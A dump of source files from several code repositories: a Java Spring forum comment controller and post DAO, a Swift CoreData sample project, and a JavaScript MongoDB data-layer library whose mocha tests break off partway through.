request.setAttribute("postCount",i); return page; }; @RequestMapping(value="addComm",method=RequestMethod.POST) @ResponseBody //JSON数据 和AJAX配套使用 public Integer addComm(Comm comm,HttpServletRequest request){ //get Comm c= commService.saveComm(comm); c.setUser(userService.loadUserByUserid(c.getUser().getUserid())); System.out.println(c); System.out.println("add: "+c ); int postId=comm.getPost().getPostid(); List <Comm>page =commService.loadCommPageByPostid(postId, 1, pageSize); CommComparatpor co =new CommComparatpor(); Collections.sort(page, co); int i=commService.getcountcommbyPostid(postId); if(i%pageSize==0){ i=i/pageSize; }else{ i=i/pageSize+1; } int commCount=i; request.setAttribute("postCount",commCount); return commCount; }; /** * 8-1 个人页面显示自己所有的评论 * @param userid * @param row * @param page * @return */ @RequestMapping(value="/getCommByPage",method = RequestMethod.GET) @ResponseBody public List<Object> getCommByPage(int userid,int row , int page){ int minnum = (page-1)*row; int maxnum = row*page; List<Comm> comms = commService.loadCommByUseridpage(userid, minnum, maxnum); int lenth=commService.loadCommByUserid(userid).size(); if(lenth%10==0){ lenth=lenth/10; }else{ lenth=lenth/10+1; } List<Object> cList=new ArrayList<Object>(); cList.add(lenth); cList.add(comms); return cList; } @RequestMapping(value="saveanswer",method=RequestMethod.POST) @ResponseBody //JSON数据 和AJAX配套使用 public Comm saveanswer(Comm comm,int parentid){ //get Comm comm1= commService.saveanswer(comm); commService.updateparent(parentid, comm1.getCommid()); return comm1; }; /* @RequestMapping(value="addComm",method=RequestMethod.POST) @ResponseBody //JSON数据 和AJAX配套使用 public String addComm(CommInUp commInUp){ int i=commService.CommRow(3); System.out.println("addcomm "+i); System.out.println(commInUp.getUserid()+" "+commInUp.getContent()); return "success"; };*/ /*org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'entityManagerFactory' defined in class path resource [applicationContext.xml]: Invocation of init method failed; nested exception is javax.persistence.PersistenceException: [PersistenceUnit: default] Unable to build EntityManagerFactory*/ } <file_sep>/onLineNovelCenter/src/com/lnsf/dao/PostDao.java package com.lnsf.dao; /** * 修改人:卢仲贤,陈志锋 * 日期:2017/7/28 */ import java.util.Date; import java.util.List; import org.hibernate.id.insert.IdentifierGeneratingInsert; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.jpa.repository.JpaSpecificationExecutor; import org.springframework.data.jpa.repository.Modifying; import org.springframework.data.jpa.repository.Query; import org.springframework.data.repository.CrudRepository; import org.springframework.data.repository.query.Param; import org.springframework.transaction.annotation.Transactional; import com.lnsf.entity.Post; import com.lnsf.entity.User; public interface PostDao extends JpaRepository<Post, Integer>,JpaSpecificationExecutor<Post>{ /* *根据用户查找贴子 *陆浩锵2017/7/31 */ public List<Post> findByUserOrderByCreatedateDesc(User user ); //查找所有贴子 //陈志锋 2017/7/27 //public List<Post> findAll(); //根据贴子等级查找贴子,按最后评论发表时间排序 //陈志锋 2017/7/27 public List<Post> findByPlevelOrderByLastdateDesc(Integer plevel); //增加贴子 //陈志锋 2017/7/27 //public Post savePost(Post post); //根据贴名查找贴子,模糊查找 //陈志锋 2017/7/27 @Query("select post from Post post where post.pname LIKE %?1%") public List<Post> findByPnameLike(String bname ); //根据贴子Id删除贴子,成功返回1,错误返回0 //陈志锋 2017/7/27 @Transactional @Modifying @Query("delete from Post post where postid=?1") public Integer removeByPostid(Integer postid ); //根据用户Id查找贴子 //陈志锋 2017/7/27 public List<Post> findByUser(User user ); //根據帖子等級刪除 針對公告 @Transactional @Modifying @Query("delete from Post post where post.postid=?1") public Integer removeByPlevel(Integer plevel); //根據帖子等級加載帖子 //修改贴子等级,成功返回1,失败返回0 //陈志锋 2017/7/27 @Transactional @Modifying @Query("update Post post set post.plevel=:plevel where post.postid=:postid") public Integer setBlevelByPostid(@Param("plevel")Integer plevel,@Param("postid")Integer postid); //根据用户id删除所有帖子 //陈志锋 2017/7/27 @Modifying @Transactional @Query("delete from Post post where post.user=?1") public Integer removeAllByUserid(User user); }
8fecd1c101396a4c9279ba24f1887b49484a3389
[ "JavaScript", "Java" ]
11
Java
chenmodaoshi/git
b5960e8d1778c910fd1e18909245e940a26475d2
8bb934b812e4e3c02b12e0091c33b4773e3da2f3
refs/heads/main
<file_sep>// // PredicateType.swift // CoreDataProject // // Created by <NAME> on 18/11/2021. // import Foundation enum PredicateType: String { case beginsWith = "BEGINSWITH" case lessThan = "<" case greaterThan = ">" case equalTo = "==" } <file_sep>// // ContentView.swift // CoreDataProject // // Created by <NAME> on 16/11/2021. // import SwiftUI import CoreData struct ContentView: View { var body: some View { //ShipView() //SingerView() CandyView() } } struct ContentView_Previews: PreviewProvider { static var previews: some View { ContentView() } } <file_sep># Core Data ## Project ### Description Twelfth project of [100 Days of SwiftUI](https://www.hackingwithswift.com/100/swiftui) This project is a sample on how to use differents specificities of CoreData. ## Development guidelines ### Scope * Xcode: 13.1 (13A1030d) * min iOS: 15.0+ * Swift: 5.0 ## Documentation * [First day of this project](https://www.hackingwithswift.com/100/swiftui/57) * [Hacking with Swift](https://www.hackingwithswift.com)
92b424b9032296aeb5978fe454a1c73a09bcb578
[ "Swift", "Markdown" ]
3
Swift
Pattest/CoreDataProject
598b5a961661695cc0cd44d4eac91b5479ef6022
440c5f582a2bd7275283bce859855dce86843087
refs/heads/master
<repo_name>shstefanov/infrastructure-server-datalayer-mongodb<file_sep>/MongoModel.js var Model = require("infrastructure/lib/ExtendedModel"); var sync = require("./mongo-backbone-sync.js"); var _ = require("underscore"); module.exports = Model.extend("MongoModel", { idAttribute: "_id", __sync: sync }, { extend: function(name, props, statics){ props.pk_modifier = {$objectify: props.idAttribute || this.prototype.idAttribute}; var has_timestamps = !!(props.timestamps || this.prototype.timestamps); if(has_timestamps) props.modifiers = (this.prototype.modifiers? _.clone(this.prototype.modifiers) : props.modifiers || {}); if(props.modifiers){ if(has_timestamps){ props.modifiers.$dateify = ((props.modifiers.$dateify) || []).concat(["created_at", "updated_at"]); } props.$set_modifiers = _.mapObject(props.modifiers, function(val, key){ if(has_timestamps && key === "$dateify") val = _.without(val, "created_at"); return typeof val === "string" ? "$set."+val : val.map(function(val){ return "$set."+val }); }); } return Model.extend.apply(this, arguments); } })<file_sep>/MongoCollection.js var _ = require("underscore"); var Collection = require("infrastructure/lib/ExtendedCollection"); var helpers = require("infrastructure/lib/helpers"); var sync = require("./mongo-backbone-sync.js"); module.exports = Collection.extend("MongoCollection", { __sync: sync, save: function(options){ var self = this; options = options || {}; var callbacks = _.pick(options, ["error", "success"]); options = _.omit(options, ["error", "success"]); helpers.amap(this.models, function(model, cb){ model.save(null, _.extend(options, { error: function(model, err) { cb(err); }, success: function(model, data) { cb(); }, })); }, function(err){ if(err) { self.trigger("error", self, err); callbacks.error && callbacks.error(err); } else { self.trigger("sync", self); callbacks.success && callbacks.success(self); } }); } }); <file_sep>/MongoLayer.js var _ = require("underscore"); var DataLayer = require("infrastructure/lib/DataLayer.js"); module.exports = DataLayer.extend("MongoDBLayer", { parseArguments: function(args){ switch(args.length){ case 0: return false; case 1: if(typeof args[0] !== "function") return false; else return [{},{},args[0]]; case 2: if(typeof args[1] !== "function") return false; else return [ args[0], {}, args[1] ]; case 3: if(typeof args[2] !== "function") return false; else return [ args[0], args[1], args[2] ]; case 4: if(typeof args[3] !== "function") return false; else return [ args[0], args[1], args[2], args[3] ]; default: return false; } }, applyObjectify: function(obj, patterns){ if(!patterns) return obj; if(typeof patterns === "string") patterns = [patterns]; if(Array.isArray(obj)) {var self = this; return obj.map(function(model){ return self.applyObjectify(model, patterns); });} var helpers = this.env.helpers; for(var i = 0; i<patterns.length; i++){ var value = helpers.resolve(obj, patterns[i]); if(!value) continue; helpers.patch(obj, patterns[i], helpers.objectify(value) ); } return obj; }, applyDateify: function(obj, patterns){ if(!patterns) return obj; if(typeof patterns === "string") patterns = [patterns]; if(Array.isArray(obj)) {var self = this; return obj.map(function(model){ return self.applyDateify(model, patterns); });} var helpers = this.env.helpers; for(var i = 0; i<patterns.length; i++){ var value = helpers.resolve(obj, patterns[i]); if(!value) continue; helpers.patch(obj, patterns[i], new Date(value) ); } return obj; }, create: function(docs, options, cb){ var self = this; options.$objectify && this.applyObjectify (docs, options.$objectify ); options.$dateify && this.applyDateify (docs, options.$dateify ); delete options.$objectify; delete options.$dateify; this.collection[Array.isArray(docs)? "insertMany" : "insertOne" ](docs, function(err, result){ if(err) return cb(err); cb(null, Array.isArray(docs) ? result.ops : result.ops[0] ); }); }, find: function(pattern, options, cb){ options = options || {}, pattern = pattern || {}; options.$objectify && this.applyObjectify (pattern, options.$objectify ); options.$dateify && this.applyDateify (pattern, options.$dateify ); delete options.$objectify; delete options.$dateify; this.collection.find(pattern, options, function(err, cursor){ if(err) return cb(err); cursor.toArray(function(err, docs){ if(err) return cb(err); cb(null, docs); }); }); }, count: function(pattern, options, cb){ options = options || {}, pattern = pattern || {}; options.$objectify && this.applyObjectify (pattern, options.$objectify ); options.$dateify && this.applyDateify (pattern, options.$dateify ); delete options.$objectify; delete options.$dateify; this.collection.count(pattern, options, cb); }, findOne: function(pattern, options, cb){ options = options || {}, pattern = pattern || {}; options.$objectify && this.applyObjectify (pattern, options.$objectify ); options.$dateify && this.applyDateify (pattern, options.$dateify ); delete options.$objectify; delete options.$dateify; this.collection.findOne(pattern, options, cb); }, delete: function(pattern, options, cb){ options = options || {}, pattern = pattern || {}; options.$objectify && this.applyObjectify (pattern, options.$objectify ); options.$dateify && this.applyDateify (pattern, options.$dateify ); delete options.$objectify; delete options.$dateify; this.collection.remove(pattern, options, function(err, response){ cb(err? err : null, err? null : response.result); }); }, save: function(doc, options, cb){ options = options || {}; options.$objectify && this.applyObjectify (doc, options.$objectify ); options.$dateify && this.applyDateify (doc, options.$dateify ); delete options.$objectify; delete options.$dateify; this.collection.save(doc, options, function(err, response){ if(err) return cb(err); cb(null, doc); }); }, update: function(pattern, update, options, cb){ if(!cb){ cb = options, options = {}; } pattern.$objectify && this.applyObjectify (pattern, pattern.$objectify ); pattern.$dateify && this.applyDateify (pattern, pattern.$dateify ); update.$objectify && this.applyObjectify (update, update.$objectify ); update.$dateify && this.applyDateify (update, update.$dateify ); delete pattern.$objectify; delete pattern.$dateify; delete update.$objectify; delete update.$dateify; this.collection.update(pattern, update, options, function(err, response){ if(err) return cb(err); cb(null, pattern); }); } }, { baseMethods: DataLayer.baseMethods.concat(["parseArguments", "applyObjectify", "init", "applyDateify"]), setupDatabase: function(self, env, name){ var Prototype = this; self.driver = env.engines.mongodb; self.setupNode = function(cb){ Prototype.createCollection(self, env, name, function(err){ if(err) return cb(err); if(self.init) self.init(finish); else finish(); function finish(err){ if(err) return cb(err); env.i.do("log.sys", "DataLayer:mongodb", name); cb(); } }); } }, createCollection: function(instance, env, name, cb){ var Self = this; instance.driver.createCollection(instance.collectionName||instance.name, instance.options || {}, function(err, collection){ if(err) return cb(err); instance.collection = collection; var ctx = { name: name, env: env, config: env.config, instance: instance, collection: collection, Prototype: Self, }; env.helpers.chain([ Self.handleIndexes, Self.handleDropOptions, // --drop cli option. This method is from infrastructure's Datalayer class Self.handleSeedOptions, // --seed cli option ]).call(Self, ctx, function(err){ cb(err); } ); }); }, handleIndexes: function(ctx, cb){ // TODO - make --seed option and execute this only if it is provided if(ctx.instance.index){ // TODO - compare indexes from instance settings and real database and create/drop any if needed var ch = []; ctx.instance.index.forEach(function(i){ ch.push(function(cb){ ctx.collection.ensureIndex(i.index,i.options||{}, function(err){ cb(err); }); }); }); ctx.env.helpers.chain(ch)(function(err){ cb(err, ctx); }); } else cb(null, ctx); }, handleDropOptions: function(ctx, cb){ // TODO - make this to work only if --seed or --migrate options are provided if(!ctx.config.options) return cb(null, ctx); var drop = ctx.config.options.drop; if(drop === true || drop && (drop[ctx.name] === true)){ ctx.collection.remove({}, function(err, result){ if(err) return cb(err); ctx.env.i.do("log.sys", "DataLayer:mongodb", "Drop all models in \""+ctx.collection.namespace+"\" ("+result.result.n+")"); cb(null, ctx); }); } else cb(null, ctx); }, extend: function(name, props, statics){ this.setMethods(this.prototype, props); return DataLayer.extend.apply(this, arguments); } }); <file_sep>/test/test.js var assert = require("assert"); var _ = require("underscore"); describe("Infrastructure MongoDB DataLayer", function(){ var MongoLayer = require("../MongoLayer"); var last_collection, id_counter; function type(v){ return typeof v; } var find_fixture = { toArray: function(cb){ cb (null, [ {_id: 0, field_a: 12, field_b: 113, field_c: 713 }, {_id: 1, field_a: 22, field_b: 213, field_c: 813 }, {_id: 2, field_a: 32, field_b: 313, field_c: 913 }, {_id: 3, field_a: 42, field_b: 413, field_c: 1013 }, {_id: 4, field_a: 52, field_b: 513, field_c: 1113 }, {_id: 5, field_a: 62, field_b: 613, field_c: 1213 }, ]); } }; var test_env = { i: {do: function(){}}, helpers: require("infrastructure/lib/helpers"), config: {options:{}}, engines: { mongodb: { createCollection: function(name, options, cb){ setTimeout(function(){ cb(null, (last_collection = { insertOne: function(q,c) { this.calls.insertOne .push([q, type(c)]); q._id = id_counter++; c(null, JSON.parse(JSON.stringify(q))); }, insertMany: function(q,c) { this.calls.insertMany .push([q, type(c)]); q.forEach(function(q){q._id = id_counter++}); c(null, JSON.parse(JSON.stringify(q))); }, update: function(q,o,c){ this.calls.update .push([q,o,type(c)]); }, save: function(q,o,c){ this.calls.save .push([q,o,type(c)]); if(!q._id){q._id = id_counter++;} c(null, JSON.parse(JSON.stringify(q))); }, count: function(q,o,c){ this.calls.count .push([q,o,type(c)]); }, remove: function(q,o,c){ this.calls.remove .push([q,o,type(c)]); }, find: function(q,o,c){ this.calls.find .push([q,o,type(c)]); c(null, find_fixture); }, findOne: function(q,o,c){ this.calls.findOne .push([q,o,type(c)]); c(null, q); }, ensureIndex: function(i,o,c){ this.calls.ensureIndex .push([i,o,type(c)]); c(); }, calls: { insertOne: [], insertMany: [], update: [], save: [], count: [], remove: [], find: [], findOne: [], ensureIndex: [], } })); }, 10); } } } }; // Mockup objectify, which is normally added by mongodb engine test_env.helpers.objectify = function(o){return Array.isArray(o)? o.map(function(t){ return "objectified:"+t; }) : "objectified:"+o; }; describe("MongoLayer initialization", function(){ it("Instantiates DataLayer", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, }, }); var layer = new TestMongoLayer(test_env, "test", "TestMongoLayer"); layer.setupNode(function(err){ assert.equal(err, null); assert.equal(layer.collection === last_collection, true); next(); }); }); it("Using init method", function(next){ var initialized = false; var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, }, init: function(cb){ setTimeout(function(){ initialized = true; cb(); }, 10 ); } }); var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ assert.equal(initialized, true); next(); }); }); it("Sets up indexes", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, }, index: [ { index: {field_a: true}, options: {unique: true } }, { index: {field_b: true, field_a: true } }, ] }); var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ assert.deepEqual(layer.collection.calls.ensureIndex, [ [ {field_a: true }, { unique: true } , "function"], [ {field_b: true, field_a: true }, {} , "function"], ]) next(); }); }); it("layer.methods", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, }, custom_method_1: function(){}, custom_method_2: function(){}, custom_method_3: function(){}, }); var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ assert.deepEqual(layer.methods, [ 'count', 'create', 'delete', 'find', 'findOne', 'save', 'update', 'custom_method_1', 'custom_method_2', 'custom_method_3' ]) next(); }); }); }); describe("MongoLayer runtime", function(){ it("parseArguments", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, }, }); var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); var cb_mock = function(){}; layer.setupNode(function(err){ assert.equal(layer.parseArguments([]), false); assert.deepEqual(layer.parseArguments([null]), false); assert.deepEqual(layer.parseArguments([{}]), false); assert.deepEqual(layer.parseArguments([undefined]), false); assert.deepEqual(layer.parseArguments([null]), false); assert.deepEqual(layer.parseArguments( [cb_mock] ), [ {}, {}, cb_mock ]); assert.deepEqual(layer.parseArguments( [{a:1}, cb_mock] ), [ {a:1}, {}, cb_mock ]); assert.deepEqual(layer.parseArguments( [{a:1}, {b:2}, cb_mock] ), [ {a:1}, {b:2}, cb_mock ]); assert.deepEqual(layer.parseArguments( [{g:12}, {a:1}, {b:2}, cb_mock] ), [{g:12}, {a:1}, {b:2}, cb_mock]); next(); }); }); }); describe("MongoLayer CRUD", function(){ it("datalayer.create (single)", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { _id: _.isObject, field_a: _.isNumber, field_b: _.isString, } }); var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.create({ field_a: 22, field_b: "some_value" }, {}, function(err, result){ assert.equal(err, null); assert.deepEqual(result, { _id: 0, field_a: 22, field_b: "some_value" }); assert.deepEqual(last_collection.calls.insertOne, [[{ _id: 0, field_a: 22, field_b: "some_value" }, "function"]]); next(); }); }); }); it("datalayer.create (multiple)", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { _id: _.isObject, field_a: _.isNumber, field_b: _.isString, } }); var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.create({ field_a: 22, field_b: "some_value" }, {}, function(err, result){ assert.equal(err, null); assert.deepEqual(result, { _id: 0, field_a: 22, field_b: "some_value" }); assert.deepEqual(last_collection.calls.insertOne, [[{ _id: 0, field_a: 22, field_b: "some_value" }, "function"]]); next(); }); }); }); it("collection.find", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); var cb_mock = function(){}; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.find({ field_a: 38, field_b: "some_value" }, {fields: ["field_a", "field_b"]}, cb_mock ); assert.deepEqual(last_collection.calls.find, [ [{ field_a: 38, field_b: "some_value" }, {fields: ["field_a", "field_b"]}, "function"] ]); next(); }); }); it("collection.findOne", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); var cb_mock = function(){}; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.findOne({ field_a: 14, field_b: "_some_value" }, {skip: 10}, cb_mock ); assert.deepEqual(last_collection.calls.findOne, [ [{ field_a: 14, field_b: "_some_value" }, {skip: 10}, "function"] ]); next(); }); }); it("collection.save", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); var cb_mock = function(){}; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.save({ _id: 4343, field_a: 99, field_b: "field_b" }, {limit: 10, $objectify: "_id"}, cb_mock ); assert.deepEqual(last_collection.calls.save, [ [{ _id: "objectified:4343", field_a: 99, field_b: "field_b" }, {limit: 10}, "function"] ]); next(); }); }); it("collection.save (error without id)", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.save({ _id: 0, field_a: 99, field_b: "field_b" }, {limit: 30}, function(err){ assert.equal(err, null); next(); }); }); }); it("collection.update", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); var cb_mock = function(){}; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.update({ _id: 4343, field_a: 99, field_b: "field_b" }, {limit: 10}, cb_mock ); assert.deepEqual(last_collection.calls.update, [ [{ _id: 4343, field_a: 99, field_b: "field_b" }, {limit: 10}, "object"] ]); next(); }); }); it("collection.count", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); var cb_mock = function(){}; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.count({ _id: 4343, field_a: 99, field_b: "field_b" }, {limit: 10}, cb_mock ); assert.deepEqual(last_collection.calls.count, [ [{ _id: 4343, field_a: 99, field_b: "field_b" }, {limit: 10}, "function"] ]); next(); }); }); it("collection.delete", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); var cb_mock = function(){}; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ id_counter = 0; layer.delete({ _id: 4343, field_a: 99, field_b: "field_b" }, {limit: 10}, cb_mock ); assert.deepEqual(last_collection.calls.remove, [ [{ _id: 4343, field_a: 99, field_b: "field_b" }, {limit: 10}, "function"] ]); next(); }); }); }); describe("$objectify option", function(){ it("$objectifies option in layer.create method with single document", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.create({field_a: 1, field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.create({field_a: 1, field_b:2}, {$objectify:[ "field_a"] }, cb_mock ); layer.create({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_b" ] }, cb_mock ); layer.create({field_a: 1, field_b:2}, {$objectify: "field_c" }, cb_mock ); layer.create({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_c" ] }, cb_mock ); layer.create({field_a: [1,3,5], field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.create({field_a: {sub_a1: [1,3,5], sub_a2: 7}, field_b:2}, {$objectify: ["field_a.sub_a1", "field_a.sub_a2"] }, cb_mock ); assert.deepEqual(results, [ [ null, { field_a: 'objectified:1', field_b: 2, _id: 0 } ], [ null, { field_a: 'objectified:1', field_b: 2, _id: 1 } ], [ null, { field_a: 'objectified:1', field_b: 'objectified:2', _id: 2 } ], [ null, { field_a: 1, field_b: 2, _id: 3 } ], [ null, { field_a: 'objectified:1', field_b: 2, _id: 4 } ], [ null, { field_a: ["objectified:1","objectified:3","objectified:5"], field_b: 2, _id: 5 } ], [ null, { field_a: { sub_a1: ["objectified:1","objectified:3","objectified:5"], sub_a2:"objectified:7"}, field_b: 2, _id:6 } ] ]); next(); }); }); it("$objectifies option in layer.create method with multiple documents", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.create([{field_a: 1, field_b:2}, {field_a: 5, field_b:6} ], {$objectify: "field_a" }, cb_mock ); layer.create([{field_a: 1, field_b:2}, {field_a: 5, field_b:6} ], {$objectify:[ "field_a"] }, cb_mock ); layer.create([{field_a: 1, field_b:2}, {field_a: 5, field_b:6} ], {$objectify:[ "field_a", "field_b" ] }, cb_mock ); layer.create([{field_a: 1, field_b:2}, {field_a: 5, field_b:6} ], {$objectify: "field_c" }, cb_mock ); layer.create([{field_a: 1, field_b:2}, {field_a: 5, field_b:6} ], {$objectify:[ "field_a", "field_c" ] }, cb_mock ); layer.create([{field_a: [1,3,5], field_b:2}, {field_a: [2,4,6], field_b:2}], {$objectify: "field_a" }, cb_mock ); layer.create([{field_a: {sub_a1: [1,3,5], sub_a2: 7}, field_b:2}, {field_a: {sub_a1: [22,44,66], sub_a2: 99}, field_b:2}], {$objectify: ["field_a.sub_a1", "field_a.sub_a2"] }, cb_mock ); assert.deepEqual(results, [ [ null, [{ field_a: 'objectified:1', field_b: 2, _id: 0 }, { field_a: 'objectified:5', field_b: 6, _id: 1 }] ], [ null, [{ field_a: 'objectified:1', field_b: 2, _id: 2 }, { field_a: 'objectified:5', field_b: 6, _id: 3 }] ], [ null, [{ field_a: 'objectified:1', field_b: 'objectified:2', _id: 4 }, { field_a: 'objectified:5', field_b: 'objectified:6', _id: 5 }] ], [ null, [{ field_a: 1, field_b: 2, _id: 6 }, { field_a: 5, field_b: 6, _id: 7 }] ], [ null, [{ field_a: 'objectified:1', field_b: 2, _id: 8 }, { field_a: 'objectified:5', field_b: 6, _id: 9 }] ], [ null, [{ field_a: ["objectified:1","objectified:3","objectified:5"], field_b: 2, _id: 10 }, { field_a: ["objectified:2","objectified:4","objectified:6"], field_b: 2, _id: 11 }] ], [ null, [{ field_a: { sub_a1: ["objectified:1","objectified:3","objectified:5"], sub_a2:"objectified:7"}, field_b: 2, _id:12 }, { field_a: { sub_a1: ["objectified:22","objectified:44","objectified:66"], sub_a2:"objectified:99"}, field_b: 2, _id:13 }] ] ]); next(); }); }); it("$objectifies option in layer.find method", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.find({field_a: 1, field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.find({field_a: 1, field_b:2}, {$objectify:[ "field_a"] }, cb_mock ); layer.find({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_b" ] }, cb_mock ); layer.find({field_a: 1, field_b:2}, {$objectify: "field_c" }, cb_mock ); layer.find({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_c" ] }, cb_mock ); layer.find({field_a: [1,3,5], field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.find({field_a: {sub_a1: [1,3,5], sub_a2: 7}, field_b:2}, {$objectify: ["field_a.sub_a1", "field_a.sub_a2"] }, cb_mock ); assert.deepEqual(last_collection.calls.find.map(function(call){ return call[0]; }), [ { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 'objectified:2', }, { field_a: 1, field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: ["objectified:1","objectified:3","objectified:5"], field_b: 2, }, { field_a: { sub_a1: ["objectified:1","objectified:3","objectified:5"], sub_a2:"objectified:7"}, field_b: 2, }, ]); next(); }); }); it("$objectifies option in layer.findOne method", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.findOne({field_a: 1, field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.findOne({field_a: 1, field_b:2}, {$objectify:[ "field_a"] }, cb_mock ); layer.findOne({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_b" ] }, cb_mock ); layer.findOne({field_a: 1, field_b:2}, {$objectify: "field_c" }, cb_mock ); layer.findOne({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_c" ] }, cb_mock ); layer.findOne({field_a: [1,3,5], field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.findOne({field_a: {sub_a1: [1,3,5], sub_a2: 7}, field_b:2}, {$objectify: ["field_a.sub_a1", "field_a.sub_a2"] }, cb_mock ); assert.deepEqual(last_collection.calls.findOne.map(function(call){ return call[0]; }), [ { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: 'objectified:1', field_b: 'objectified:2', }, { field_a: 1, field_b: 2, }, { field_a: 'objectified:1', field_b: 2, }, { field_a: ["objectified:1","objectified:3","objectified:5"], field_b: 2, }, { field_a: { sub_a1: ["objectified:1","objectified:3","objectified:5"], sub_a2:"objectified:7"}, field_b: 2, }, ]); next(); }); }); it("$objectifies option in layer.count method", function(next){ var TestMongoLayer = MongoLayer.extend("TestMongoLayer", { collectionName: "TestCollection", fields: { field_a: _.isNumber, field_b: _.isString, } }); id_counter = 0; var results = []; var cb_mock = function(err, result){ results.push([err, result]); }; var layer = new TestMongoLayer(test_env, TestMongoLayer, "TestMongoLayer"); layer.setupNode(function(err){ layer.count({field_a: 1, field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.count({field_a: 1, field_b:2}, {$objectify:[ "field_a"] }, cb_mock ); layer.count({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_b" ] }, cb_mock ); layer.count({field_a: 1, field_b:2}, {$objectify: "field_c" }, cb_mock ); layer.count({field_a: 1, field_b:2}, {$objectify:[ "field_a", "field_c" ] }, cb_mock ); layer.count({field_a: [1,3,5], field_b:2}, {$objectify: "field_a" }, cb_mock ); layer.count({field_a: {sub_a1: 